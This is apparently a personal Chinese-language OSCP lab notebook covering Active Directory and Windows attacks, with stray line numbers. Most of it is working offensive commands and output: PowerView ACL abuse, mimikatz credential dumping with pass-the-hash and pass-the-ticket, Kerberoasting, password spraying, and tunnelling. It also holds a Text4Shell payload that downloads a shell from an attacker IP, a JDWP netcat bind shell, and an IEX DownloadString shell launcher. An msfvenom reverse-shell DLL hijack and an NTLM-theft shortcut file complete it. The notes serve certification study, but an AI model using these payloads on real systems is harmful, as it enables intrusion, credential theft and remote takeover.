# Get-NetComputer PowerView 命令来枚举域中的计算机对象
Get-NetComputer

# 筛选 这个方法可以获得所有域内主机的主机名和系统版本
Get-NetComputer | select operatingsystem,dnshostname

# 以stephanie身份运行(挺重要的 在实战中)
PS C:\> Find-LocalAdminAccess

# 底层实际在做的事:
# 1. 尝试连接机器A的SCM -> 失败(没权限)
# 2. 尝试连接机器B的SCM -> 失败(没权限)
# 3. 尝试连接client74的SCM -> 成功!(说明stephanie是client74的本地管理员)
# 4. 继续尝试其他机器...

# 最终输出
client74.corp.com # 表示对这台机器有管理员权限

# 查找域内主机的任何的已经登录用户 但是需要的权限很多
# 正常就如下 权限不够 需要当前用户能访问目标机器且为管理员才行
# 或者目标机器上对SrvsvcSessionInfo注册表项的访问权限
PS C:\Tools> Get-NetSession -ComputerName files04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied

PS C:\Tools> Get-NetSession -ComputerName web04 -Verbose
VERBOSE: [Get-NetSession] Error: Access is denied

# 在上面的结果中 实际上对client74有管理员权限 所以应该找这个client74
Get-NetSession -ComputerName client74

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


# 上面提到了正常来说需要的权限更多 太麻烦了 下面这个不会
https://learn.microsoft.com/en-us/sysinternals/downloads/pstools 可以去官网上下载套件
# 原理就是基于远程注册表服务来查询
.\PsLoggedon.exe \\files04
PsLoggedon v1.35 - See who's logged on
Copyright (C) 2000-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

Users logged on locally:
 <unknown time> CORP\jeff
Unable to query resource logons

# 当我们查到有一个不同的用户登陆了上去 并且呢 我们有他的管理员权限
# 那么主要操作就是解析lsass

1
2
3
4
5
6
7


# 域内SPN枚举
setspn -L iis_service

# 导入PowerView
# 对服务账户进行信息收集
Get-NetUser -SPN | select samaccountname,serviceprincipalname
nslookup.exe web04.corp.com

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160


# 域内枚举对象权限
# 理论 下面是权限列表
GenericAll: Full permissions on object
GenericWrite: Edit certain attributes on the object
WriteOwner: Change ownership of the object
WriteDACL: Edit ACE's applied to object
AllExtendedRights: Change password, reset password, etc.
ForceChangePassword: Password change for object
Self (Self-Membership): Add ourselves to for example a group

GenericAll（完全控制）：
最高级别的权限
对对象有完全的控制权
可以做任何操作：修改属性、重设密码、添加到组等
实际例子：如果对用户有GenericAll权限，可以直接重置其密码

GenericWrite（写入权限）：
能修改对象的大部分属性
不能修改敏感属性（如密码）
例子：可以修改用户的scriptPath属性来实现代码执行

WriteOwner（修改所有者）：
可以更改对象的所有者
修改为自己后就能获得完全控制
例子：把组的所有者改为自己，然后就能控制这个组

WriteDACL（修改访问控制）：
可以修改对象的访问控制列表
能添加/删除权限
例子：给自己添加GenericAll权限

AllExtendedRights（扩展权限）：
包括密码重置等特殊操作权限
不包括常规的属性修改权限
例子：可以重置用户密码

ForceChangePassword（强制修改密码）：
专门用于修改密码的权限
不需要知道原密码
例子：直接重置目标用户的密码

Self (Self-Membership)（自我成员身份）：
可以将自己添加到组中
只能添加自己
例子：把自己加入到高权限组

# 这里有官方的
# https://learn.microsoft.com/en-us/windows/win32/secauthz/access-rights-and-access-masks

简单的利用方法
GenericAll权限利用：
powershellCopy# 如果对用户UserA有GenericAll权限
net user UserA NewPass123! /domain # 直接改密码

GenericWrite权限利用：
powershellCopy# 修改用户的脚本路径实现代码执行
Set-ADUser -Identity UserA -ScriptPath "\\attacker\share\evil.ps1"

WriteOwner权限利用：
powershellCopy# 先改所有者为自己
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity YourAccount
# 然后就可以进一步操作了

WriteDACL权限利用：
powershellCopy# 给自己添加完整权限
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -Rights All

ForceChangePassword权限利用：
powershellCopy# 直接改密码
Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
Self (Self-Membership)权限利用：

powershellCopy# 把自己加入组
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'YourAccount'

# 上面是用法 下面是查询信息 然后根据现有信息来做提权渗透
# 查看当前用户哪些ACE适用于他
PS C:\Tools> Get-ObjectAcl -Identity stephanie

...
ObjectDN : CN=stephanie,CN=Users,DC=corp,DC=com
ObjectSID : S-1-5-21-1987370270-658905905-1781884369-1104
ActiveDirectoryRights : ReadProperty
ObjectAceFlags : ObjectAceTypePresent
ObjectAceType : 4c164200-20c0-11d0-a768-00aa006e0529
InheritedObjectAceType : 00000000-0000-0000-0000-000000000000
BinaryLength : 56
AceQualifier : AccessAllowed
IsCallback : False
OpaqueLength : 0
AccessMask : 16
SecurityIdentifier : S-1-5-21-1987370270-658905905-1781884369-553
AceType : AccessAllowedObject
AceFlags : None
IsInherited : False
InheritanceFlags : None
PropagationFlags : None
AuditFlags : None

# 比如案例里面 我们当前是S-1-5-21-1987370270-658905905-1781884369-1104
# S-1-5-21-1987370270-658905905-1781884369-553对我们有ReadProperty权限
# 然后我们还得查查这个SID是谁
PS C:\Tools> Convert-SidToName S-1-5-21-1987370270-658905905-1781884369-1104
CORP\stephanie
# 这表明SecurityIdentifier对ObjectSID有什么权限

# 下面有一个案例 主要是查询谁对"Management Department"组有完全控制权限
PS C:\Tools> Get-ObjectAcl -Identity "Management Department" | ? {$_.ActiveDirectoryRights -eq "GenericAll"} | select SecurityIdentifier,ActiveDirectoryRights

SecurityIdentifier ActiveDirectoryRights
------------------ ---------------------
S-1-5-21-1987370270-658905905-1781884369-512 GenericAll
S-1-5-21-1987370270-658905905-1781884369-1104 GenericAll
S-1-5-32-548 GenericAll
S-1-5-18 GenericAll
S-1-5-21-1987370270-658905905-1781884369-519 GenericAll

PS C:\Tools> "S-1-5-21-1987370270-658905905-1781884369-512","S-1-5-21-1987370270-658905905-1781884369-1104","S-1-5-32-548","S-1-5-18","S-1-5-21-1987370270-658905905-1781884369-519" | Convert-SidToName
CORP\Domain Admins
CORP\stephanie
BUILTIN\Account Operators
Local System
CORP\Enterprise Admins

# 上面可以看到stephanie也就是我们当前用户对这个组有完全控制权限
# 意味着我可以把自己或者其他用户加到这个组里面 然后再根据这个组的权限 干一些事情
PS C:\Tools> net group "Management Department" stephanie /add /domain
The request will be processed at a domain controller for domain corp.com.

The command completed successfully.
# 上面把当前用户加入了进去 然后查询一下权限看看是否存在
PS C:\Tools> Get-NetGroup "Management Department" | select member

member
------
{CN=jen,CN=Users,DC=corp,DC=com, CN=stephanie,CN=Users,DC=corp,DC=com}

PS C:\Tools> net group "Management Department" stephanie /del /domain
The request will be processed at a domain controller for domain corp.com.

The command completed successfully.

# 查看组权限
Get-ObjectAcl -Identity "Management Department"

# 验证一下这些东西 然后在删除就行了
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
CN=jen,CN=Users,DC=corp,DC=com

PS C:\Tools> net group "Management Department" stephanie /del /domain
The request will be processed at a domain controller for domain corp.com.
The command completed successfully.

我们可以再次使用 PowerView 来验证jen是该组的唯一成员：
PS C:\Tools> Get-NetGroup "Management Department" | select member
member
------
CN=jen,CN=Users,DC=corp,DC=com

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


依然导入 PowerView

PS C:\Tools> Find-DomainShare

Name Type Remark ComputerName
---- ---- ------ ------------
ADMIN$ 2147483648 Remote Admin DC1.corp.com
C$ 2147483648 Default share DC1.corp.com
IPC$ 2147483651 Remote IPC DC1.corp.com
NETLOGON 0 Logon server share DC1.corp.com
SYSVOL 0 Logon server share DC1.corp.com
ADMIN$ 2147483648 Remote Admin web04.corp.com
backup 0 web04.corp.com
C$ 2147483648 Default share web04.corp.com
IPC$ 2147483651 Remote IPC web04.corp.com
ADMIN$ 2147483648 Remote Admin FILES04.corp.com
C 0 FILES04.corp.com
C$ 2147483648 Default share FILES04.corp.com
docshare 0 Documentation purposes FILES04.corp.com
IPC$ 2147483651 Remote IPC FILES04.corp.com
Tools 0 FILES04.corp.com
Users 0 FILES04.corp.com
Windows 0 FILES04.corp.com
ADMIN$ 2147483648 Remote Admin client74.corp.com
C$ 2147483648 Default share client74.corp.com
IPC$ 2147483651 Remote IPC client74.corp.com
ADMIN$ 2147483648 Remote Admin client75.corp.com
C$ 2147483648 Default share client75.corp.com
IPC$ 2147483651 Remote IPC client75.corp.com
sharing 0 client75.corp.com

可以看到大量的smb我们可以访问的目录 缺点就是没写是否能read和write
# 然后就是经典的SYSVOL查看xml文件
# 这里它提供了一个特别方便的命令 一键就行没那么其他的麻烦事
gpp-decrypt "+bsY0V3d4/KgX3VJdO/vyepPfAN1zMFTiQDApgR92JE"

# 其次就是去找共享里的东西 看看有哪些非默认的东西 比如
docshare

1
2
3
4


C:\Tools\Spray-Passwords.ps1
# 它会自己去识别域用户 然后爆破 支持单密码或者字典
.\Spray-Passwords.ps1 -Pass Nexus123! -Admin
.\Spray-Passwords.ps1 -File 1.txt -Admin

89.Rubeus

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


# 这个我在oscp的靶场运行一次 失败一次 完全无法运行 但是还是记录一下吧 实际上挺好用的
# 传到目标机器
# 一键进行AS-REP Roasting 然后hashcat就行了
.\Rubeus.exe asreproast /nowrap

# 一键找到服务账户的票据 其实和GetUserSPNs一样
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast

# 生成票据的时候记得看目标服务的SPN
setspn -L username

90.AD域横向(OSCP中一些非常好的思路)

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104


mimikatz # privilege::debug
Privilege '20' OK
mimikatz # sekurlsa::logonpasswords

...
Authentication Id : 0 ; 1142030 (00000000:00116d0e)
Session : Interactive from 0
User Name : jen
Domain : CORP
Logon Server : DC1
Logon Time : 2/27/2023 7:43:20 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1124
 msv :
 [00000003] Primary
 * Username : jen
 * Domain : CORP
 * NTLM : 369def79d8372408bf6e93364cc93075
 * SHA1 : faf35992ad0df4fc418af543e5f4cb08210830d4
 * DPAPI : ed6686fedb60840cd49b5286a7c08fa4
 tspkg :
 wdigest :
 * Username : jen
 * Domain : CORP
 * Password : (null)
 kerberos :
 * Username : jen
 * Domain : CORP.COM
 * Password : (null)
 ssp :
 credman :
...

mimikatz # sekurlsa::pth /user:jen /domain:corp.com /ntlm:369def79d8372408bf6e93364cc93075 /run:powershell
user : jen
domain : corp.com
program : powershell
impers. : no
NTLM : 369def79d8372408bf6e93364cc93075
 | PID 8716
 | TID 8348
 | LSA Process is now R/W
 | LUID 0 ; 16534348 (00000000:00fc4b4c)
 \_ msv1_0 - data copy @ 000001F3D5C69330 : OK !
 \_ kerberos - data copy @ 000001F3D5D366C8
 \_ des_cbc_md4 -> null
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ des_cbc_md4 OK
 \_ *Password replace @ 000001F3D5C63B68 (32) -> null

PS C:\Windows\system32> klist
Current LogonId is 0:0x1583ae

Cached Tickets: (0)

上面的操作都是新开了一个shell PTH了 但是没有任何票据
# 下面的操作会生成一个krbtgt和cifs的票据 这个时候我就已经利用HTLM获得了Kerberos票据
net use \\files04

PS C:\Windows\system32> klist
Current LogonId is 0:0x17239e
Cached Tickets: (2)
#0> Client: jen @ CORP.COM
 Server: krbtgt/CORP.COM @ CORP.COM
 KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
 Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize
 Start Time: 2/27/2023 5:27:28 (local)
 End Time: 2/27/2023 15:27:28 (local)
 Renew Time: 3/6/2023 5:27:28 (local)
 Session Key Type: RSADSI RC4-HMAC(NT)
 Cache Flags: 0x1 -> PRIMARY
 Kdc Called: DC1.corp.com

#1> Client: jen @ CORP.COM
 Server: cifs/files04 @ CORP.COM
 KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
 Ticket Flags 0x40a10000 -> forwardable renewable pre_authent name_canonicalize
 Start Time: 2/27/2023 5:27:28 (local)
 End Time: 2/27/2023 15:27:28 (local)
 Renew Time: 3/6/2023 5:27:28 (local)
 Session Key Type: AES-256-CTS-HMAC-SHA1-96
 Cache Flags: 0
 Kdc Called: DC1.corp.com

# 因为有cifs的票据了 可以看到下面 我们可以直接PTH 相当于正常的PTH来说
# 这样能更好的隐藏自己把 就是把HTLMhash转成了Kerberos TGT
PS C:\Windows\system32> cd C:\tools\SysinternalsSuite\
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\files04 cmd

PsExec v2.4 - Execute processes remotely
Copyright (C) 2001-2022 Mark Russinovich
Sysinternals - www.sysinternals.com

Microsoft Windows [Version 10.0.20348.169]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
corp\jen

C:\Windows\system32>hostname
FILES04

传递票据

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85


这个其实都学过 再记录一下吧

PS C:\Windows\system32> whoami
corp\jen
PS C:\Windows\system32> ls \\web04\backup
ls : Access to the path '\\web04\backup' is denied.
At line:1 char:1
+ ls \\web04\backup
+ ~~~~~~~~~~~~~~~~~
 + CategoryInfo : PermissionDenied: (\\web04\backup:String) [Get-ChildItem], UnauthorizedAccessException
 + FullyQualifiedErrorId : DirUnauthorizedAccessError,Microsoft.PowerShell.Commands.GetChildItemCommand

mimikatz #privilege::debug
Privilege '20' OK
mimikatz #sekurlsa::tickets /export

Authentication Id : 0 ; 2037286 (00000000:001f1626)
Session : Batch from 0
User Name : dave
Domain : CORP
Logon Server : DC1
Logon Time : 9/14/2022 6:24:17 AM
SID : S-1-5-21-1987370270-658905905-1781884369-1103

 * Username : dave
 * Domain : CORP.COM
 * Password : (null)

 Group 0 - Ticket Granting Service

 Group 1 - Client Ticket ?

 Group 2 - Ticket Granting Ticket
 [00000000]
 Start/End/MaxRenew: 9/14/2022 6:24:17 AM ; 9/14/2022 4:24:17 PM ; 9/21/2022 6:24:17 AM
 Service Name (02) : krbtgt ; CORP.COM ; @ CORP.COM
 Target Name (02) : krbtgt ; CORP ; @ CORP.COM
 Client Name (01) : dave ; @ CORP.COM ( CORP )
 Flags 40c10000 : name_canonicalize ; initial ; renewable ; forwardable ;
 Session Key : 0x00000012 - aes256_hmac
 f0259e075fa30e8476836936647cdabc719fe245ba29d4b60528f04196745fe6
 Ticket : 0x00000012 - aes256_hmac ; kvno = 2 [...]
 * Saved to file [0;1f1626]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi !
...

PS C:\Tools> dir *.kirbi
 Directory: C:\Tools
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/14/2022 6:24 AM 1561 [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;12bd0]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c6860]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c6860]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c7bcc]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c7bcc]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1c933d]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1c933d]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
-a---- 9/14/2022 6:24 AM 1561 [0;1ca6c2]-0-0-40810000-dave@cifs-web04.kirbi
-a---- 9/14/2022 6:24 AM 1505 [0;1ca6c2]-2-0-40c10000-dave@krbtgt-CORP.COM.kirbi
...

mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi
* File: '[0;12bd0]-0-0-40810000-dave@cifs-web04.kirbi': OK

PS C:\Tools> klist
Current LogonId is 0:0x13bca7
Cached Tickets: (1)
#0> Client: dave @ CORP.COM
 Server: cifs/web04 @ CORP.COM
 KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96
 Ticket Flags 0x40810000 -> forwardable renewable name_canonicalize
 Start Time: 9/14/2022 5:31:32 (local)
 End Time: 9/14/2022 15:31:13 (local)
 Renew Time: 9/21/2022 5:31:13 (local)
 Session Key Type: AES-256-CTS-HMAC-SHA1-96
 Cache Flags: 0
 Kdc Called:

PS C:\Tools> ls \\web04\backup
 Directory: \\web04\backup
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 9/13/2022 2:52 AM 0 backup_schemata.txt

# 其实就是导出内存的票据 然后导入就行

91.ftp主动模式

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


切换到主动模式的命令是:
quote pasv
或者在连接前就使用 -A 参数强制使用主动模式:
ftp -A 192.168.172.145

用 passive 命令关闭被动模式:
ftp> passive
Passive mode: off

如果还是不行,可以在连接前设置环境变量:
Copyexport FTP_PASSIVE=0
ftp 192.168.172.145

使用其他 FTP 客户端如 lftp,它有更清晰的主动/被动模式控制:
lftp -u anonymous 192.168.172.145
lftp> set ftp:passive-mode off

使用 ls -la 或 ls -l 命令来查看详细列表：
ftp> ls -la

尝试切换到二进制模式后再列目录：
ftp> binary
ftp> dir

使用 quote LIST 命令直接发送原始 FTP 命令：
ftp> quote LIST

尝试用 mls 命令保存目录列表到本地文件：
ftp> mls - listing.txt

尝试访问一些 Windows FTP 服务器上常见的默认目录：
ftp> cd pub
或
ftp> cd upload

如果知道具体文件名，可以直接尝试获取：
ftp> get filename.txt

也可以尝试切换到父目录看看：
ftp> cdup

92.SSH隧道

1
2
3
4
5
6
7
8


ssh -R 443:192.168.45.184:443 -R 80:192.168.45.184:80 web_svc@192.168.139.147

# -L 是将目标机器上的端口转移到本地 -R是将本地的端口转移到目标机器上的端口然后开启
ssh -L 443:192.168.45.184:443 -L 80:192.168.45.184:80 web_svc@192.168.139.147

# 搭建隧道通流量用的
ssh -D 1080 -N Administrator@192.168.125.153
proxychains本地1080就行

93.snmpwalk

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


snmpwalk -v1 -c public IP

snmpwalk -v2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v 2c -c public 192.168.139.149 NET-SNMP-EXTEND-MIB::nsExtendOutputFull

# 上面的命令会查询到命令名称比如
# RESET就是命令
NET-SNMP-EXTEND-MIB::nsExtendCommand."RESET" = STRING: ./home/john/RESET_PASSWD

snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutputFull.\"命令名\"

# 常用扩展MIB查询
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendObjects
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendConfigTable
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput1Table
snmpwalk -v1 -c public IP NET-SNMP-EXTEND-MIB::nsExtendOutput2Table

94.CVE-2022–42889(Text4Shell)

https://meyerweb.com/eric/tools/dencoder/ #url加密网址

1
2


${script:javascript:java.lang.Runtime.getRuntime().exec('command')}
%24%7Bscript%3Ajavascript%3Ajava.lang.Runtime.getRuntime().exec(%27wget%20192.168.45.184%2Fcmdjsp.jsp%20-O%20%2Ftmp%2Fshell%27)%7D

95.Java Debug Wire Protocol (JDWP) - Remote Code Execution

https://www.exploit-db.com/exploits/46501

https://github.com/IOActive/jdwp-shellifier/

1
2
3
4


$ python ./jdwp-shellifier.py -t my.target.ip -p 1234 --cmd "ncat -v -l -p 1234 -e /bin/bash"

最重要的一点 记得要触发accept()事件 就比如这个java开在什么端口上 你就必须去主动nc触发一下
其实在cmd的exp里集成了 但是还是要注意端口

96.windows本地提权(更全面必须用)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17


# 下载PowerUp
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1

# 在目标机器上
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile

# 或者全面检查
Invoke-AllChecks

Invoke-AllChecks会检查所有可能的服务提权点，包括:
可修改的服务可执行文件
未引用路径服务
服务权限配置错误等

这样的话不用自行去寻找提权点了 比如可修改的服务可执行文件等等

97.chisel

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


# 这个代理工具没有ligolo-ng好用 但是他有一个ligolo-ng所没有的特性
# 就是将本地的端口转发出来 ligolo-ng没有办法将本地的服务转发出来
# 平常我用的是frp 但是在oscplabs中 比如ftp lcx ew 等等都无法使用
# 我也不知道为什么无法使用 chisel有时候都无法使用 比如在oscplabs中时
# 我发现chisel将本地端口代理出来也不行 只有ssh隧道能代理出来
# 但还是记录一下 毕竟本地端口也是个非常重要的东西

# 启动服务端
./chisel server -p 8000 --reverse
# 反向端口转发(将目标1433端口转发到攻击机)
chisel.exe client ATTACKER_IP:8000 R:1433:127.0.0.1:1433

# 攻击机
./chisel server -p 8000 --reverse
# 目标机
chisel.exe client ATTACKER_IP:8000 R:ATTACKER_PORT:127.0.0.1:TARGET_PORT

# 上面是将靶机本地的端口转发出来 下面的是将kali的端口转发到windows上
# 场景就是ligolo-ng隧道 内网主机无法访问到kali 他只被允许访问内网资源 就可以做这个
# Kali攻击机
./chisel server -p 8000 --reverse
# 靶机
chisel.exe client KALI_IP:8000 R:80:KALI_IP:80

转发靶机端口到Kali:
bashCopychisel.exe client KALI:8000 R:1433:127.0.0.1:1433
 ↑
 指向靶机本地

转发Kali端口到靶机:
bashCopychisel.exe client KALI:8000 R:80:KALI_IP:80
 ↑
 指向Kali

98.windows命令行解压

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


使用内置expand命令：
expand .\nmap.zip -F:* C:\programdata\test

使用PowerShell：
Expand-Archive -Path c:\source\archive.zip -DestinationPath c:\destination

如果目标目录存在，需要加-Force：
powershellCopyExpand-Archive -Path .\nmap.zip -DestinationPath C:\programdata\test -Force

使用tar命令(Windows 10以上):
tar -xf nmap.zip

# 解压
Expand-Archive nmap.zip

99.非常规思路

1
2
3
4
5
6


# 快速扫描
nmap -Pn -n 192.168.207.187 -sC -sV -p- --open
# 不要忘记文件上传可上传的东西
echo "AddType application/x-httpd-php .dork" > .htaccess
# 服务账户失去所有权限可用
https://itm4n.github.io/localservice-privileges/?source=post_page

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


# 配置需要的特权列表
$Privs = @(
 "SeAssignPrimaryTokenPrivilege",
 "SeAuditPrivilege",
 "SeChangeNotifyPrivilege",
 "SeCreateGlobalPrivilege",
 "SeImpersonatePrivilege",
 "SeIncreaseQuotaPrivilege",
 "SeShutdownPrivilege",
 "SeUndockPrivilege",
 "SeIncreaseWorkingSetPrivilege",
 "SeTimeZonePrivilege"
)
# 创建任务Principal
$TaskPrincipal = New-ScheduledTaskPrincipal -UserId "LOCALSERVICE" -LogonType ServiceAccount -RequiredPrivilege $Privs
# 创建要执行的命令(这里用反弹shell示例)
$TaskAction = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ep Bypass -Command `". C:\path\to\shell.ps1; powercat -l -p 7003 -ep`""
# 注册并启动任务
Register-ScheduledTask -Action $TaskAction -TaskName "PrivEsc" -Principal $TaskPrincipal
Start-ScheduledTask -TaskName "PrivEsc"

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


# 如果在域本机上 不要忘记使用powershell脚本 在本地找SPN等等信息
https://github.com/compwiz32/PowerShell/blob/master/Get-SPN.ps1
## 1. 导入脚本
Import-Module .\Get-SPN.ps1
# 2. 查找SPN
Get-SPN -type service
# 3. 请求票据
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/DC.access.offsec"
# 4. 导出票据
Invoke-Mimikatz -Command '"kerberos::list /export"'
# 或使用PowerShell命令导出
klist.exe purge
klist.exe tgt
# 5. 使用hashcat破解
hashcat -m 13100 ticket.kirbi wordlist.txt

1
2
3
4


# 利用域用户权限请求任意SPN的TGS票据 主要场景就是域控或者成员主机上没有账密的时候
powershell iwr http://192.168.45.154/Invoke-Kerberoast.ps1 -outfile Invoke-Kerberoast.ps1
.\Invoke-Kerberoast.ps1
Invoke-Kerberoast -OutputFormat HashCat|Out-File -Encoding ASCII hash.txt

1
2
3
4
5
6
7
8
9


# 域内获得账号密码 能直接登录横向的工具
https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1
Invoke-RunasCs -Username svc_mssql -Password trustno1 -Command "whoami"
Invoke-RunasCs -Username user -Password pass -Command "powershell IEX(New-Object Net.WebClient).DownloadString('http://x.x.x.x/shell.ps1')"

# Enter-PSSession 是自带的 也能用
$SecPassword = ConvertTo-SecureString 'Password123' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('domain\user', $SecPassword)
Enter-PSSession -ComputerName target -Credential $Cred

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


whoami /priv
# 上面会显示一些特权 还会显示一些没被启用得特权 这时候可以尝试启用
# 启用特权
$TokenPriv = Get-TokenPrivilege
Enable-TokenPrivilege -TokenPrivilege $TokenPriv -Privilege SeManageVolumePrivilege
# 验证是否启用
whoami /priv

# 下面这个自动化的可以直接全部启用
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/privilege-escalation-abusing-tokens.html
.\EnableAllTokenPrivs.ps1
whoami /priv

令牌备忘录
https://github.com/gtworek/Priv2Admin

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


SeMachineAccountPrivilege,SeManageVolumePrivilege特权在这一片有所介绍
https://medium.com/@Dpsypher/proving-grounds-practice-access-b95d3146cfe9
https://github.com/CsEnox/SeManageVolumeExploit/releases/tag/public
# 1. 启用权限
Enable-TokenPrivilege -Privilege SeManageVolumePrivilege
# 2. 修改C盘权限,获得写入权限
.\SeManageVolumeExploit.exe
# 3. DLL劫持
# - systeminfo程序会加载tzres.dll
# - 在C:\windows\system32\wbem写入恶意tzres.dll
# - 生成DLL反弹shell:
msfvenom -p windows/x64/shell_reverse_tcp [...] -f dll -o tzres.dll
# 4. 执行systeminfo触发DLL加载获取SYSTEM权限
tzres.dll是系统组件,systeminfo运行时会加载它

1
2
3
4
5
6


# 1. 如果发现服务账户带$符号,且todo提到gMSA,说明是托管服务账户
# 2. 使用GMSAPasswordReader读取hash
.\gmsapasswordreader.exe --accountname svc_apache
.\\gmsapasswordreader.exe --accountname svc_apache
# 3. 得到rc4_hmac hash用于登录
evil-winrm -i IP -u svc_apache$ -H 526C435B8E4CF11F447D6EF7152665BB

1
2
3
4
5
6
7
8


serestore权限
# 下面这种利用方法也还行
https://r4j3sh.medium.com/heist-pg-practice-write-up-fbfd6b90b02a

# 更加简单的方法 能直接执行shell
https://github.com/dxnboy/redteam/blob/master/SeRestoreAbuse.exe
SeRestoreAbuse.exe C:\Windows\System32\utilman.exe
SeRestoreAbuse.exe "C:\Windows\System32\cmd.exe" "C:\Windows\System32\utilman.exe"

1
2
3
4
5
6
7
8


# smb钓鱼 发起认证的时候 responder监听就行了 能拿到HTLM
# https://github.com/Greenwolf/ntlm_theft 这里各种方法都有

[InternetShortcut]
URL=Random_nonsense
WorkingDirectory=Flibertygibbit
IconFile=\\<YOUR tun0 IP>\%USERNAME%.icon
IconIndex=1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


GPO(组策略)提权

# 导入PowerView
Import-Module .\PowerView.ps1

# 查找默认域策略的信息和GUID
